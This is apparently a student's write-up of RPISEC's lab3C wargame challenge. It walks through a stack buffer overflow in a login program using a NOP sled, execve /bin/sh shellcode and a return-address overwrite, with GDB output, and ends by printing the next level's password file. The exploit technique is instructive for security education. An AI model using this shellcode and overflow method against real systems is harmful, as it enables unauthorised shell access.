For this lab, we are given a program and its corresponding source code:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* gcc -z execstack -fno-stack-protector -o lab3C lab3C.c */

char a_user_name[100];

int verify_user_name()
{
    puts("verifying username....\n");
    return strncmp(a_user_name, "rpisec", 6);
}

int verify_user_pass(char *a_user_pass)
{
    return strncmp(a_user_pass, "admin", 5);
}

int main()
{
    char a_user_pass[64] = {0};
    int x = 0;

    /* prompt for the username - read 100 byes */
    printf("********* ADMIN LOGIN PROMPT *********\n");
    printf("Enter Username: ");
    fgets(a_user_name, 0x100, stdin);

    /* verify input username */
    x = verify_user_name();
    if (x != 0){
        puts("nope, incorrect username...\n");
        return EXIT_FAILURE;
    }

    /* prompt for admin password - read 64 bytes */
    printf("Enter Password: \n");
    fgets(a_user_pass, 0x64, stdin);

    /* verify input password */
    x = verify_user_pass(a_user_pass);
    if (x == 0 || x != 0){
        puts("nope, incorrect password...\n");
        return EXIT_FAILURE;
    }

    return EXIT_SUCCESS;
}

No matter what password the user enters, the program always exits on failure. Also, notice that unlike the previous labs, there is no “win” function. We must find another way to get a shell from running this program.

If we look at the fgets() calls that are used to read a user’s username and password from stdin, we notice that both of the calls introduce buffer overflow vulnerabilities due to the length argument being 0x100 and 0x64 for a 100 byte and 64 byte buffer respectively. However, because the 100 byte buffer, a_user_name is a global variable, we can’t exploit it to overwrite anything useful on the stack. Therefore, we must exploit the buffer overflow vulnerability introduced in the 64 byte buffer, a_user_pass.

After calculating the offset to the SRA (80 bytes), obtaining publicly available shellcode, and fixing up the location of said shellcode due to memory being mangled by instructions after the fgets() call, we come up with the following solution.

python -c 'print "rpisec\n"+"\x90"*25+"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x90"*30+"\xbd\xf6\xff\xbf"'

When this command is piped into the program, the SRA should be overwritten with 0xbffff6bd, which is an address that points to a location within our NOP sled, and our system("/bin/sh") shellcode should run.

At this point, I tried running it with cat -, (google cat CTF tricks), but it didn’t work!

lab3C@warzone:/levels/lab03$ (python -c 'print "rpisec\n"+"\x90"*25+"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x90"*30+"\xbd\xf6\xff\xbf"'; cat -) | ./lab3C
********* ADMIN LOGIN PROMPT *********
Enter Username: verifying username....

Enter Password: 
nope, incorrect password...

id
Floating point exception (core dumped)

Strangely enough, while I wasn’t able to get a shell on the cmd line, a shell was spawning in GDB.

gdb-peda$ r < <(python -c 'print "rpisec\n"+"\x90"*25+"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x90"*30+"\xbd\xf6\xff\xbf"'; cat -)
Starting program: /levels/lab03/lab3C < <(python -c 'print "rpisec\n"+"\x90"*25+"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x90"*30+"\xbd\xf6\xff\xbf"'; cat -)
********* ADMIN LOGIN PROMPT *********
Enter Username: verifying username....

Enter Password: 
nope, incorrect password...

process 7522 is executing new program: /bin/dash
id
[New process 7529]
process 7529 is executing new program: /usr/bin/id
Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.19.so...done.
Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/ld-2.19.so...done.
Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/ld-2.19.so...done.
uid=1010(lab3C) gid=1011(lab3C) groups=1011(lab3C),1001(gameuser)
[Inferior 2 (process 7529) exited normally]

Wondering if my shellcode was the issue, I tested it with shtest.

lab3C@warzone:/tmp/lab3C$ shtest "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
Shellcode at 0x804b100
Registers before call:
  esp: 0xbffff5c0, ebp: 0xbffff5f8
  esi: (nil), edi: (nil)
----------------------
$ id
uid=1010(lab3C) gid=1011(lab3C) groups=1011(lab3C),1001(gameuser)

Looks like it worked, so that wasn’t the issue.

After talking to a member of RPISEC, I learned that GDB moves some addresses around in memory a little, so what works in GDB might have to be tweaked a little. He directed me to a useful tool called fixenv which ensures that the stack addresses that GDB sees and the actual stack address used when running the program from the cmd line are the same.

lab3C@warzone:/tmp/lab3C$ fixenv gdb /levels/lab03/lab3C
(gdb) disas main
Dump of assembler code for function main:
   0x08048790 <+0>:	push   %ebp
   0x08048791 <+1>:	mov    %esp,%ebp
   0x08048793 <+3>:	push   %edi
   0x08048794 <+4>:	push   %ebx
   0x08048795 <+5>:	and    $0xfffffff0,%esp
   0x08048798 <+8>:	sub    $0x60,%esp
   0x0804879b <+11>:	lea    0x1c(%esp),%ebx
   0x0804879f <+15>:	mov    $0x0,%eax
   0x080487a4 <+20>:	mov    $0x10,%edx
   0x080487a9 <+25>:	mov    %ebx,%edi
   0x080487ab <+27>:	mov    %edx,%ecx
   0x080487ad <+29>:	rep stos %eax,%es:(%edi)
   0x080487af <+31>:	movl   $0x0,0x5c(%esp)
   0x080487b7 <+39>:	movl   $0x8048938,(%esp)
   0x080487be <+46>:	call   0x8048600 <puts@plt>
   0x080487c3 <+51>:	movl   $0x804895f,(%esp)
   0x080487ca <+58>:	call   0x80485e0 <printf@plt>
   0x080487cf <+63>:	mov    0x8049c20,%eax
   0x080487d4 <+68>:	mov    %eax,0x8(%esp)
   0x080487d8 <+72>:	movl   $0x100,0x4(%esp)
   0x080487e0 <+80>:	movl   $0x8049c40,(%esp)
   0x080487e7 <+87>:	call   0x80485f0 <fgets@plt>
   0x080487ec <+92>:	call   0x804873d <verify_user_name>
   0x080487f1 <+97>:	mov    %eax,0x5c(%esp)
   0x080487f5 <+101>:	cmpl   $0x0,0x5c(%esp)
   0x080487fa <+106>:	je     0x804880f <main+127>
   0x080487fc <+108>:	movl   $0x8048970,(%esp)
   0x08048803 <+115>:	call   0x8048600 <puts@plt>
   0x08048808 <+120>:	mov    $0x1,%eax
   0x0804880d <+125>:	jmp    0x804886e <main+222>
   0x0804880f <+127>:	movl   $0x804898d,(%esp)
   0x08048816 <+134>:	call   0x8048600 <puts@plt>
   0x0804881b <+139>:	mov    0x8049c20,%eax
   0x08048820 <+144>:	mov    %eax,0x8(%esp)
   0x08048824 <+148>:	movl   $0x64,0x4(%esp)
   0x0804882c <+156>:	lea    0x1c(%esp),%eax
   0x08048830 <+160>:	mov    %eax,(%esp)
   0x08048833 <+163>:	call   0x80485f0 <fgets@plt>
   0x08048838 <+168>:	lea    0x1c(%esp),%eax
   0x0804883c <+172>:	mov    %eax,(%esp)
   0x0804883f <+175>:	call   0x804876d <verify_user_pass>
   0x08048844 <+180>:	mov    %eax,0x5c(%esp)
   0x08048848 <+184>:	cmpl   $0x0,0x5c(%esp)
   0x0804884d <+189>:	je     0x8048856 <main+198>
   0x0804884f <+191>:	cmpl   $0x0,0x5c(%esp)
   0x08048854 <+196>:	je     0x8048869 <main+217>
   0x08048856 <+198>:	movl   $0x804899e,(%esp)
   0x0804885d <+205>:	call   0x8048600 <puts@plt>
   0x08048862 <+210>:	mov    $0x1,%eax
   0x08048867 <+215>:	jmp    0x804886e <main+222>
   0x08048869 <+217>:	mov    $0x0,%eax
   0x0804886e <+222>:	lea    -0x8(%ebp),%esp
   0x08048871 <+225>:	pop    %ebx
   0x08048872 <+226>:	pop    %edi
   0x08048873 <+227>:	pop    %ebp
   0x08048874 <+228>:	ret    
End of assembler dump.
(gdb) b *main+228
Breakpoint 1 at 0x8048874
(gdb) r < <(python -c 'print "rpisec\n"+"\x90"*25+"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x90"*30+"\x90\xf7\xff\xbf"')

[...]

(gdb) c
Continuing.
nope, incorrect password...

Breakpoint 1, 0x08048874 in main ()

(gdb) x/16xg 0xbffff77c
0xbffff77c:	0x9090909090909090	0x9090909090909090
0xbffff78c:	0x9090909090909090	0x732f6e6850c03190
0xbffff79c:	0xe38969622f2f6868	0x0bb0e18953e28950
0xbffff7ac:	0x90909090909080cd	0x9090909090909090
0xbffff7bc:	0x9090909000000001	0x9090909090909090
0xbffff7cc:	0x0000000abffff790	0xbffff86cbffff864
0xbffff7dc:	0x00000001b7feccea	0xbffff804bffff864
0xbffff7ec:	0x080483e408049c04	0x00000000b7fcd000

So, the only thing I had to change in my original exploit was the address that the SRA is overwritten with, from 0xbffff6bd to 0xbffff78c. Once I did that, my exploit worked.

lab3C@warzone:/tmp/lab3C$ (python -c 'print "rpisec\n"+"\x90"*25+"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x90"*30+"\x8c\xf7\xff\xbf"'; cat -) | fixenv /levels/lab03/lab3C
********* ADMIN LOGIN PROMPT *********
Enter Username: verifying username....

Enter Password: 
nope, incorrect password...

id
uid=1010(lab3C) gid=1011(lab3C) euid=1011(lab3B) groups=1012(lab3B),1001(gameuser),1011(lab3C)
cd /home/lab3B
cat .pass
th3r3_iz_n0_4dm1ns_0n1y_U!